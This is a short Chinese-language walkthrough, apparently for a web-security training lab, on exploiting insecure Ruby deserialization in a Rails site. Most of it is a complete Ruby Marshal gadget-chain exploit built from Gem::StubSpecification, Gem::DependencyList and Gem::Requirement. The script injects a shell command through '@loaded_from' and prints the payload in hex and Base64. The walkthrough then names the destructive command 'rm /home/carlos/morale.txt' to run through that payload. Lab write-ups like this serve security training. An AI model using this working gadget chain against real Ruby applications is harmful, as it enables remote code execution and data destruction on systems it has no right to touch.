本实验使用基于序列化的会话机制和 Ruby on Rails 框架。有一个记录的漏洞利用可以通过此框架中的小工具链实现远程代码执行。
要解决实验室问题,请查找记录的漏洞利用并对其进行调整以创建包含远程代码执行有效负载的恶意序列化对象。然后,将此对象传递到网站以morale.txt从 Carlos 的主目录中删除该文件。
#!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload)
rm /home/carlos/morale.txt
并运行脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和 Base64 编码版本。